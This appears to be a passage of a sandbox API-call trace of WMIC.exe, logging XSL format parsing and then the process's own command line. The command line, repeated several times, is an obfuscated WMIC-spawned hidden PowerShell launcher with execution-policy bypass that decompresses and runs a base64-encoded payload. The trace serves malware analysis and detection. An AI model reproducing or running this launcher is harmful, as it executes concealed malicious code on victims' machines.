IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.482] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x4)) returned 0x0 [0089.482] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0089.482] SysStringLen (param_1="TABLE") returned 0x5 [0089.482] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0089.482] SysStringLen (param_1="XML") returned 0x3 [0089.482] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0089.482] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.482] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0089.482] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.482] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0089.482] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.482] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.482] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0089.482] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.482] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.482] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.482] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=15, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.482] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="htable.xsl") returned 0x0 [0089.482] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.482] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.482] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x4)) returned 0x0 [0089.483] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0089.483] SysStringLen (param_1="TABLE") returned 0x5 [0089.483] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0089.483] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.483] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0089.483] SysStringLen (param_1="XML") returned 0x3 [0089.483] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0089.483] SysStringLen (param_1="texttablewsys") returned 0xd [0089.483] SysStringLen (param_1="XML") returned 0x3 [0089.483] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0089.483] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.483] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.483] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.483] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=16, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.483] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="htable.xsl") returned 0x0 [0089.483] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.483] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.483] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x4)) returned 0x0 [0089.483] SysStringLen (param_1="htable-sortby") returned 0xd [0089.483] SysStringLen (param_1="TABLE") returned 0x5 [0089.483] SysStringLen (param_1="htable-sortby") returned 0xd [0089.483] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.484] SysStringLen (param_1="htable-sortby") returned 0xd [0089.484] SysStringLen (param_1="XML") returned 0x3 [0089.484] SysStringLen (param_1="htable-sortby") returned 0xd [0089.484] SysStringLen (param_1="texttablewsys") returned 0xd [0089.484] SysStringLen (param_1="htable-sortby") returned 0xd [0089.484] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0089.484] SysStringLen (param_1="XML") returned 0x3 [0089.484] SysStringLen (param_1="htable-sortby") returned 0xd [0089.484] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.484] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.484] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.484] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=17, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.484] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="mof.xsl") returned 0x0 [0089.484] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.484] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.484] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x4)) returned 0x0 [0089.484] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0089.484] SysStringLen (param_1="TABLE") returned 0x5 [0089.484] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0089.484] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.484] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0089.484] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.484] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0089.484] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0089.484] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.484] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0089.484] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.485] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.485] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.485] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=18, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.485] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="mof.xsl") returned 0x0 [0089.485] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.485] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.485] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x4)) returned 0x0 [0089.485] SysStringLen (param_1="wmiclimofformat") returned 0xf [0089.485] SysStringLen (param_1="TABLE") returned 0x5 [0089.485] SysStringLen (param_1="wmiclimofformat") returned 0xf [0089.485] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.485] SysStringLen (param_1="wmiclimofformat") returned 0xf [0089.485] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.485] SysStringLen (param_1="wmiclimofformat") returned 0xf [0089.485] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0089.485] SysStringLen (param_1="wmiclimofformat") returned 0xf [0089.485] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0089.485] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.485] SysStringLen (param_1="wmiclimofformat") returned 0xf [0089.485] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.485] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.485] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.485] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=19, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.485] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0089.485] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.486] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.486] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x4)) returned 0x0 [0089.486] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0089.486] SysStringLen (param_1="TABLE") returned 0x5 [0089.486] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0089.486] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.486] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0089.486] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.486] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0089.486] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.486] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.486] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0089.486] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.486] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.486] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.486] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=20, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.486] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0089.486] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.486] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.486] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x4)) returned 0x0 [0089.487] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0089.487] SysStringLen (param_1="TABLE") returned 0x5 [0089.487] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0089.487] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.487] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0089.487] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.487] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0089.487] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.487] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0089.487] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0089.487] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.487] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0089.487] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.487] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.487] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.487] IUnknown:Release (This=0x1e69cc0) returned 0x0 [0089.487] FreeThreadedDOMDocument:IUnknown:Release (This=0x1e6bc50) returned 0x1 [0089.487] FreeThreadedDOMDocument:IUnknown:Release (This=0x1e671d0) returned 0x0 [0089.487] GetCommandLineW () returned="WMIC.exe pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"" [0089.488] memcpy_s (in: _Destination=0x3ba500, _DestinationSize=0x74e, _Source=0x223aaa, _SourceSize=0x74a | out: _Destination=0x3ba500) returned 0x0 [0089.488] GetLocalTime (in: lpSystemTime=0x1afbd0 | out: lpSystemTime=0x1afbd0*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x4, wDay=0x1, wHour=0x9, wMinute=0x1b, wSecond=0x2e, wMilliseconds=0xbd)) [0089.489] _vsnwprintf (in: _Buffer=0x3bf220, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x1afb28 | out: _Buffer="11-01-2018T09:27:46") returned 19 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString="pRoCESs") returned 7 [0089.489] _wcsicmp (_String1="pRoCESs", _String2="\"NULL\"") returned 78 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString="'CAll'") returned 6 [0089.489] _wcsicmp (_String1="'CAll'", _String2="\"NULL\"") returned 5 [0089.489] lstrlenW (lpString="'CAll'") returned 6 [0089.489] lstrlenW (lpString="'CAll'") returned 6 [0089.489] memmove_s (in: _Destination=0x3ba310, _DestinationSize=0x8, _Source=0x3bf2b0, _SourceSize=0x8 | out: _Destination=0x3ba310) returned 0x0 [0089.489] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.489] lstrlenW (lpString="'cReAte'") returned 8 [0089.489] _wcsicmp (_String1="'cReAte'", _String2="\"NULL\"") returned 5 [0089.490] lstrlenW (lpString="'cReAte'") returned 8 [0089.490] lstrlenW (lpString="'cReAte'") returned 8 [0089.490] memmove_s (in: _Destination=0x3ba350, _DestinationSize=0x10, _Source=0x3ba310, _SourceSize=0x10 | out: _Destination=0x3ba350) returned 0x0 [0089.490] lstrlenW (lpString=" pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + 